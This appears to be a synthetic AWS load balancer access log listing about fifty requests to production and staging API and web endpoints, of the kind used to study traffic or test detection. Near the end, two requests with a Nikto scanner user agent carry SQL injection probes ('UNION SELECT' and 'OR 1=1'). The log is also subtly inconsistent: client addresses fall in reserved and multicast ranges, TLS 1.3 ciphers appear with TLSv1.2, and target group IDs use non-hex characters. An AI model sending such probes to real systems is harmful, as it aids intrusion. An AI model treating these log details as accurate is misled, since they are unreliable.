"Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d952-463c6f13fcee4ff29f7f430c" "prod-api-alb.example.com" "-" 3 2024-11-01T02:24:02.925160Z "forward" "-" "-" "10.0.185.61:443" "200" "-" "-" +https 2024-11-01T02:24:04.518913Z prod-api-alb 109.63.228.178:21555 10.0.14.200:443 0.003378 0.233901 0.052558 200 200 276 14352 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d954-2a2bcee377274462b0e89582" "-" "-" 4 2024-11-01T02:24:04.518913Z "forward" "-" "-" "10.0.14.200:443" "200" "-" "-" +https 2024-11-01T02:24:06.247688Z prod-web-alb 47.38.236.134:43836 10.0.207.24:443 0.021727 0.207525 0.042237 200 200 53 4437 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d956-4b12837630db425496b7604c" "prod-web-alb.example.com" "-" 1 2024-11-01T02:24:06.247688Z "forward" "-" "-" "10.0.207.24:443" "200" "-" "-" +http 2024-11-01T02:24:07.974915Z staging-alb 72.226.159.109:52780 151.93.206.51:8080 0.041061 0.012810 0.069200 404 404 540 13997 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d957-a1766b01c0c0497dac5dceba" "staging-alb.example.com" "-" 8 2024-11-01T02:24:07.974915Z "forward" "-" "-" "151.93.206.51:8080" "404" "-" "-" +https 2024-11-01T02:24:08.103958Z prod-web-alb 137.255.153.66:59530 10.0.11.147:443 0.048631 0.319136 0.031537 200 200 741 11920 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d958-9a922ae566d045d29e1bad91" "prod-web-alb.example.com" "-" 1 2024-11-01T02:24:08.103958Z "forward" "-" "-" "10.0.11.147:443" "200" "-" "-" +https 2024-11-01T02:24:08.360496Z prod-web-alb 224.37.91.145:60782 10.0.28.203:443 0.060199 0.015059 0.041432 302 302 391 13867 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d958-fae09093629d4432b5e51550" "prod-web-alb.example.com" "-" 0 2024-11-01T02:24:08.360496Z "forward" "-" "-" "10.0.28.203:443" "302" "-" "-" +https 2024-11-01T02:24:10.316279Z prod-web-alb 222.57.5.65:12345 10.0.152.208:443 0.058690 0.102044 0.076692 200 200 343 13430 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d95a-a20abe3ce3344d75b2eda53a" "prod-web-alb.example.com" "-" 10 2024-11-01T02:24:10.316279Z "forward" "-" "-" "10.0.152.208:443" "200" "-" "-" +https 2024-11-01T02:24:11.441773Z prod-web-alb 135.242.183.59:33055 10.0.107.241:443 0.090989 0.320928 0.012194 301 301 15 1427 "GET /cart HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d95b-a7c98712053842408d7b5fe7" "prod-web-alb.example.com" "-" 6 2024-11-01T02:24:11.441773Z "forward" "-" "-" "10.0.107.241:443" "301" "-" "-" +https 2024-11-01T02:24:13.267970Z staging-alb 75.109.26.231:43056 186.47.62.92:80 0.041335 0.681407 0.054670 200 200 198 11711 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d95d-8120bbc3de0c4614b97deeae" "staging-alb.example.com" "-" 5 2024-11-01T02:24:13.267970Z "forward" "-" "-" "186.47.62.92:80" "200" "-" "-" +https 2024-11-01T02:24:14.555413Z prod-api-alb 88.125.203.89:59065 10.0.13.61:443 0.010477 0.178637 0.092076 200 200 1 5356 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d95e-894547b9491d4269b141fdfd" "prod-api-alb.example.com" "-" 9 2024-11-01T02:24:14.555413Z "forward" "-" "-" "10.0.13.61:443" "200" "-" "-" +https 2024-11-01T02:24:16.232787Z prod-api-alb 106.193.213.61:12451 10.0.119.99:443 0.001231 0.227264 0.067780 302 302 701 2753 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d960-b806b9828361492bbc9cad44" "prod-api-alb.example.com" "-" 4 2024-11-01T02:24:16.232787Z "forward" "-" "-" "10.0.119.99:443" "302" "-" "-" +http 2024-11-01T02:24:16.706046Z staging-alb 30.54.123.39:30873 205.126.20.247:443 0.022030 0.517847 0.092258 200 200 66 14326 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d960-b4c938f427c4458f9aa073e6" "staging-alb.example.com" "-" 6 2024-11-01T02:24:16.706046Z "forward" "-" "-" "205.126.20.247:443" "200" "-" "-" +https 2024-11-01T02:24:17.835639Z prod-web-alb 120.204.144.203:24395 10.0.210.22:443 0.005422 0.057943 0.008300 302 302 91 12188 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d961-d35250bd671f48808ab691ad" "prod-web-alb.example.com" "-" 7 2024-11-01T02:24:17.835639Z "forward" "-" "-" "10.0.210.22:443" "302" "-" "-" +http 2024-11-01T02:24:19.203210Z staging-alb 223.134.21.233:17939 60.131.241.28:443 0.076032 0.282551 0.053374 200 200 383 12712 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d963-a4eb3d56530f4b4fa47b89f0" "staging-alb.example.com" "-" 3 2024-11-01T02:24:19.203210Z "forward" "-" "-" "60.131.241.28:443" "200" "-" "-" +https 2024-11-01T02:24:19.611364Z prod-api-alb 57.66.146.190:17047 10.0.203.63:443 0.021921 0.045062 0.080131 404 404 54 8646 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d963-deaf623b30f640e7b828bb02" "prod-api-alb.example.com" "-" 7 2024-11-01T02:24:19.611364Z "forward" "-" "-" "10.0.203.63:443" "404" "-" "-" +https 2024-11-01T02:24:21.107593Z staging-alb 136.182.214.81:59887 206.191.222.166:8080 0.131988 0.384807 0.131907 404 404 315 2222 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d965-2e9c4961a3664b159cc73faf" "staging-alb.example.com" "-" 6 2024-11-01T02:24:21.107593Z "forward" "-" "-" "206.191.222.166:8080" "404" "-" "-" +https 2024-11-01T02:24:22.786716Z prod-api-alb 236.25.88.227:21880 10.0.232.146:443 0.025141 0.061248 0.046735 404 404 396 4569 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d966-65f1b1bbbf1b4e0792c80207" "prod-api-alb.example.com" "-" 2 2024-11-01T02:24:22.786716Z "forward" "-" "-" "10.0.232.146:443" "404" "-" "-" +https 2024-11-01T02:24:23.246177Z prod-api-alb 151.138.33.96:14627 10.0.215.128:443 0.097406 0.379103 0.031197 200 200 538 10361 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d967-dd77526a29c04144927e095a" "prod-api-alb.example.com" "-" 3 2024-11-01T02:24:23.246177Z "forward" "-" "-" "10.0.215.128:443" "200" "-" "-" +https 2024-11-01T02:24:23.952654Z staging-alb 10.48.233.216:16403 174.66.90.99:80 0.062290 0.422852 0.098709 404 404 951 838 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d967-ed4393f2c0814e148212a76b" "staging-alb.example.com" "-" 7 2024-11-01T02:24:23.952654Z "forward" "-" "-" "174.66.90.99:80" "404" "-" "-" +https 2024-11-01T02:24:25.154670Z staging-alb 210.202.149.92:61419 252.77.91.50:443 0.015931 0.667387 0.065285 302 302 744 14569 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d969-6ed27f2ed9b04279b005fbf7" "staging-alb.example.com" "-" 2 2024-11-01T02:24:25.154670Z "forward" "-" "-" "252.77.91.50:443" "302" "-" "-" +https 2024-11-01T02:24:26.635033Z staging-alb 236.132.30.169:45660 160.255.149.49:8080 0.134724 0.579398 0.053859 404 404 309 5367 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d96a-7c06b5156cd4472982e2c971" "staging-alb.example.com" "-" 5 2024-11-01T02:24:26.635033Z "forward" "-" "-" "160.255.149.49:8080" "404" "-" "-" +https 2024-11-01T02:24:27.181061Z prod-web-alb 169.96.23.60:33326 10.0.150.101:443 0.050335 0.352505 0.038030 200 200 81 14514 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d96b-99ceea7e0786465aa0fcc5a8" "prod-web-alb.example.com" "-" 1 2024-11-01T02:24:27.181061Z "forward" "-" "-" "10.0.150.101:443" "200" "-" "-" +https 2024-11-01T02:24:28.205953Z prod-api-alb 219.105.90.21:34226 10.0.165.135:443 0.066842 0.429278 0.023698 302 302 818 2717 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d96c-bac7bb92767740f6a60aca66" "prod-api-alb.example.com" "-" 5 2024-11-01T02:24:28.205953Z "forward" "-" "-" "10.0.165.135:443" "302" "-" "-" +https 2024-11-01T02:24:29.907297Z staging-alb 66.240.91.255:58947 42.48.70.231:80 0.106684 0.435984 0.087997 200 200 385 7051 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d96d-796fefffed6d43ebad70b254" "staging-alb.example.com" "-" 3 2024-11-01T02:24:29.907297Z "forward" "-" "-" "42.48.70.231:80" "200" "-" "-" +https 2024-11-01T02:24:30.083651Z prod-api-alb 241.70.78.112:43548 10.0.106.40:443 0.046119 0.323511 0.080944 200 200 235 6280 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d96e-b162ee820ef744309d14d6cf" "prod-api-alb.example.com" "-" 1 2024-11-01T02:24:30.083651Z "forward" "-" "-" "10.0.106.40:443" "200" "-" "-" +https 2024-11-01T02:24:30.578848Z prod-web-alb 6.73.237.85:25531 10.0.65.127:443 0.025165 0.386306 0.012724 200 200 258 5437 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d96e-dc816abd759a4242940e8560" "prod-web-alb.example.com" "-" 3 2024-11-01T02:24:30.578848Z "forward" "-" "-" "10.0.65.127:443" "200" "-" "-" +https 2024-11-01T02:24:32.018873Z prod-api-alb 75.138.38.26:49580 10.0.81.47:443 0.013961 0.026624 0.042756 301 301 863 14470 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d970-711d000664d4408680e4e751" "prod-api-alb.example.com" "-" 1 2024-11-01T02:24:32.018873Z "forward" "-" "-" "10.0.81.47:443" "301" "-" "-" +https 2024-11-01T02:24:34.009363Z prod-api-alb 220.253.239.210:46468 10.0.241.147:443 0.031268 0.212065 0.093665 200 200 236 10239 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d972-f8bb1b9fa7544bb1990c230b" "prod-api-alb.example.com" "-" 10 2024-11-01T02:24:34.009363Z "forward" "-" "-" "10.0.241.147:443" "200" "-" "-" +https 2024-11-01T02:24:34.602248Z prod-api-alb 105.95.3.170:33477 10.0.103.197:443 0.001811 0.420984 0.061965 302 302 339 10550 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d972-e63b5861e1fe43baab44a558" "prod-api-alb.example.com" "-" 8 2024-11-01T02:24:34.602248Z "forward" "-" "-" "10.0.103.197:443" "302" "-" "-" +https 2024-11-01T02:24:35.624601Z prod-api-alb 11.163.65.37:10318 10.0.103.221:443 0.081867 0.109091 0.038713 301 301 939 2483 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d973-5c724765ede1465d931b7ea3" "prod-api-alb.example.com" "-" 0 2024-11-01T02:24:35.624601Z "forward" "-" "-" "10.0.103.221:443" "301" "-" "-" +http 2024-11-01T02:24:36.161148Z staging-alb 133.210.150.255:42173 16.12.121.57:443 0.118121 0.678374 0.007531 302 302 327 6377 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d974-8b60e69b3b8042d380ab5a84" "staging-alb.example.com" "-" 8 2024-11-01T02:24:36.161148Z "forward" "-" "-" "16.12.121.57:443" "302" "-" "-" +https 2024-11-01T02:24:37.091315Z staging-alb 253.49.124.210:60690 186.249.77.83:443 0.111848 0.638034 0.003632 200 200 326 1824 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d975-d2264e2eef6548378854a128" "-" "-" 5 2024-11-01T02:24:37.091315Z "forward" "-" "-" "186.249.77.83:443" "200" "-" "-" +https 2024-11-01T02:24:37.532712Z prod-web-alb 154.166.212.75:42138 10.0.198.81:443 0.024118 0.200949 0.050114 404 404 288 7852 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d975-c011a9df4eee4046912743fd" "prod-web-alb.example.com" "-" 1 2024-11-01T02:24:37.532712Z "forward" "-" "-" "10.0.198.81:443" "404" "-" "-" +https 2024-11-01T02:24:38.731768Z prod-web-alb 189.136.64.31:62138 10.0.65.103:443 0.053748 0.072260 0.026375 302 302 971 8071 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d976-71b8d166aa904e66b6955102" "prod-web-alb.example.com" "-" 9 2024-11-01T02:24:38.731768Z "forward" "-" "-" "10.0.65.103:443" "302" "-" "-" +https 2024-11-01T02:24:40.272945Z prod-api-alb 71.0.165.247:48113 10.0.156.156:443 0.008124 0.400316 0.097203 200 200 639 7939 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d978-ee831bc11b874328b5fbfae2" "prod-api-alb.example.com" "-" 10 2024-11-01T02:24:40.272945Z "forward" "-" "-" "10.0.156.156:443" "200" "-" "-" +https 2024-11-01T02:24:41.977465Z prod-web-alb 128.249.115.248:54311 10.0.4.126:443 0.090028 0.252144 0.067628 404 404 201 12790 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d979-9766ad66b7f24781af7018e8" "prod-web-alb.example.com" "-" 3 2024-11-01T02:24:41.977465Z "forward" "-" "-" "10.0.4.126:443" "404" "-" "-" +https 2024-11-01T02:24:43.695076Z prod-web-alb 147.242.234.152:44810 10.0.67.242:443 0.038466 0.305328 0.088917 404 404 345 6004 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d97b-95a2f1d20aa941a6b8d7646f" "prod-web-alb.example.com" "-" 0 2024-11-01T02:24:43.695076Z "forward" "-" "-" "10.0.67.242:443" "404" "-" "-" +https 2024-11-01T02:24:43.915244Z prod-api-alb 45.155.205.253:28736 10.0.243.163:443 0.061978 0.357254 0.001521 403 403 392 10655 "GET /search?q=1' UNION SELECT HTTP/1.1" "nikto/2.1.6" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d97b-c2004fae5d414b5aa5b06c4c" "-" "-" 8 2024-11-01T02:24:43.915244Z "forward" "-" "-" "10.0.243.163:443" "403" "-" "-" +https 2024-11-01T02:24:44.263978Z prod-api-alb 106.179.7.21:13551 10.0.189.166:443 0.027489 0.371375 0.050215 200 200 279 6996 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d97c-cad46670d8804b76aeb86aa6" "prod-api-alb.example.com" "-" 7 2024-11-01T02:24:44.263978Z "forward" "-" "-" "10.0.189.166:443" "200" "-" "-" +https 2024-11-01T02:24:45.373900Z prod-api-alb 30.54.62.113:42017 10.0.124.1:443 0.092063 0.326970 0.044957 200 200 90 12758 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d97d-10c2124510664437b26d48a0" "prod-api-alb.example.com" "-" 0 2024-11-01T02:24:45.373900Z "forward" "-" "-" "10.0.124.1:443" "200" "-" "-" +http 2024-11-01T02:24:46.561668Z staging-alb 45.203.186.173:42243 241.210.243.234:443 0.136164 0.305568 0.086878 200 200 89 7561 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d97e-ce35425794134c679725fb98" "staging-alb.example.com" "-" 9 2024-11-01T02:24:46.561668Z "forward" "-" "-" "241.210.243.234:443" "200" "-" "-" +https 2024-11-01T02:24:48.273262Z prod-web-alb 195.73.88.145:11334 10.0.141.37:443 0.091205 0.274701 0.072194 200 200 307 1491 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d980-50ed81e898ea4114bc2edc1f" "prod-web-alb.example.com" "-" 9 2024-11-01T02:24:48.273262Z "forward" "-" "-" "10.0.141.37:443" "200" "-" "-" +https 2024-11-01T02:24:49.491899Z staging-alb 124.130.215.33:47547 92.125.227.172:80 0.015369 0.050203 0.023431 200 200 636 9816 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d981-1a0a7c92b1f845e9a4defc56" "staging-alb.example.com" "-" 5 2024-11-01T02:24:49.491899Z "forward" "-" "-" "92.125.227.172:80" "200" "-" "-" +https 2024-11-01T02:24:50.504714Z prod-api-alb 139.120.219.60:59683 10.0.8.63:443 0.036779 0.261835 0.087349 404 404 16 6921 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d982-4468ba7cf4ca4316b6e179cd" "-" "-" 9 2024-11-01T02:24:50.504714Z "forward" "-" "-" "10.0.8.63:443" "404" "-" "-" +https 2024-11-01T02:24:51.608375Z prod-api-alb 46.118.166.203:36110 10.0.127.192:443 0.099328 0.181083 0.071747 302 302 226 3455 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d983-bd4e559e4f334cb59bae567e" "prod-api-alb.example.com" "-" 9 2024-11-01T02:24:51.608375Z "forward" "-" "-" "10.0.127.192:443" "302" "-" "-" +https 2024-11-01T02:24:53.371823Z prod-api-alb 249.44.92.161:38088 10.0.199.98:443 0.066396 0.148670 0.039751 301 301 710 7305 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d985-8827e3dd7d034e39b7495534" "prod-api-alb.example.com" "-" 5 2024-11-01T02:24:53.371823Z "forward" "-" "-" "10.0.199.98:443" "301" "-" "-" +https 2024-11-01T02:24:53.631695Z prod-web-alb 193.27.228.11:53792 10.0.210.216:443 0.010051 0.175881 0.031123 500 500 818 3751 "POST /users?id=1 OR 1=1 HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d985-b156b743e9f947818b35a248" "-" "-" 6 2024-11-01T02:24:53.631695Z "forward" "-" "-" "10.0.210.216:443" "500" "-" "-" +https 